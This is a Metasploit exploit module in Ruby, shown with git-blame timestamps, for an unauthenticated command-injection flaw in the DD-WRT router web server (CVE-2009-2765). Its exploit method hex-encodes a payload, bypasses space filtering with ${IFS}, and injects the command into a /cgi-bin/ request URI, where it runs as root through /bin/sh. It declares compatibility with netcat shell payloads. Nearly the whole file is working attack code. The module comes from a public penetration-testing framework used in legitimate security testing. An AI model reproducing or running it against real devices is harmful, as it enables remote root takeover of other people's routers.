metasploit-framework/modules/exploits/linux/http/ddwrt_cgibin_exec.rb

70 lines
1.9 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = ExcellentRanking
2013-08-30 21:28:54 +00:00
HttpFingerprint = { :pattern => [ /DD-WRT/ ] }
2013-08-30 21:28:54 +00:00
include Msf::Exploit::Remote::HttpClient
2013-08-30 21:28:54 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'DD-WRT HTTP Daemon Arbitrary Command Execution',
'Description' => %q{
This module abuses a metacharacter injection vulnerability in the
HTTP management server of wireless gateways running DD-WRT. This flaw
allows an unauthenticated attacker to execute arbitrary commands as
the root user account.
},
'Author' => [ 'gat3way', 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2009-2765' ],
[ 'OSVDB', '55990' ],
[ 'BID', '35742' ],
[ 'EDB', '9209' ]
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => true,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'Compat' =>
{
'RequiredCmd' => 'generic netcat netcat-e'
}
},
'Targets' =>
[
[ 'Automatic Target', { }]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 20 2009'
))
end
2013-08-30 21:28:54 +00:00
def exploit
2013-08-30 21:28:54 +00:00
cmd = payload.encoded.unpack("C*").map{|c| "\\x%.2x" % c}.join
# TODO: force use of echo-ne CMD encoder
str = "echo${IFS}-ne${IFS}\"#{cmd}\"|/bin/sh&"
2013-08-30 21:28:54 +00:00
print_status("Sending GET request with encoded command line...")
send_request_raw({ 'uri' => "/cgi-bin/;#{str}" })
2013-08-30 21:28:54 +00:00
print_status("Giving the handler time to run...")
handler
2013-08-30 21:28:54 +00:00
select(nil, nil, nil, 10.0)
end
end